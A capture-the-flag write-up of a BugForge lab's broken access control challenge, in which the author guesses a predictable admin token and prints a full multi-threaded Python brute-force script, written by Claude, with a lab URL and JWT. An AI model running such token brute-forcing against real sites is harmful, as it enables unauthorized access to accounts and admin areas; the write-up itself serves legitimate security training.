OSCP · OSWP · PWPP · PWPA · PAPA · EnCE · Linux+ · LPIC-1 · Network+ · Security+ · Pentest+ · eJPT · eWPT · BSc · PGCert
Gift Lab (BAC)

Step 1: Register and look at your token

After registering, I saw that my token looked short, and perhaps even predictable. I registered a few more users and saw that the last 3 digits were the only thing that was changing. This looked promising.

Step 2: Enumeration
After some enumeration, I landed on the /administrator URL, which pointed to the adminAccessToken. This confirmed my thoughts. We needed to craft an adminAccessToken to gain access to this part of the app.

Step 3: Calculating the attack
At this point, I did some maths. 3 letters. 26 combinations per letter. That’s 26 ^ 3 which equals 17,576 possible combinations. Yeah, that seems easy enough to solve.
Step 4: Claude Scripting
I could have used burpsuite or caido, but I figured that it would be cool to have a brute-force script, so I fired up Claude and told it to create a script to generate the last 3 letters (lowercase) of my session token, and that upon success, it should see “bug{“ in the response. I told it that the script must contain my current cookies/tokens (minus 3 letters, which would be the ones we would brute force. And finally, I asked for multi-threading for speed. It came up with this:
Of course, if you use this: change your base_url, token_prefix and JWT to match your own.
import requests
import itertools
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
BASE_URL = "https://lab-1773475898406-xfsd4c.labs-app.bugforge.io/administrator"
TOKEN_PREFIX = "n0MqjBXna9A4" # token minus the last 3 letters
CHARSET = string.ascii_lowercase
JWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJjb29sZ3V5IiwiaWF0IjoxNzczNDc3NjU1LCJleHAiOjE3NzM0ODQ4NTV9.Mjw__q7ZANNLy73uLEG2ubttcKUSKHlUKa0aFmv82bU"
session = requests.Session()
def try_token(suffix):
token = TOKEN_PREFIX + suffix
try:
r = session.get(
BASE_URL,
cookies={"token": JWT, "adminAccessToken": token},
allow_redirects=False,
timeout=5
)
if "bug{" in r.text:
return token, r.text
except requests.RequestException:
pass
return None
def brute_force():
combos = [''.join(c) for c in itertools.product(CHARSET, repeat=3)]
print(f"[*] Trying {len(combos)} combinations with 50 threads...")
found = False
with ThreadPoolExecutor(max_workers=50) as executor:
futures = {executor.submit(try_token, combo): combo for combo in combos}
for future in as_completed(futures):
result = future.result()
if result and not found:
found = True
token, body = result
print(f"
[+] Found token: {token}")
print(body[:1000])
executor.shutdown(wait=False, cancel_futures=True)
return
if not found:
print("[-] No valid token found")
brute_force()Step 5: Running the Script
I ran the script and it found the token after a minute or two:

From here I could simply browse to the /administrator endpoint and grab the flag:

Thanks for reading! And shoutout to __shadowforge__ for building this fun lab!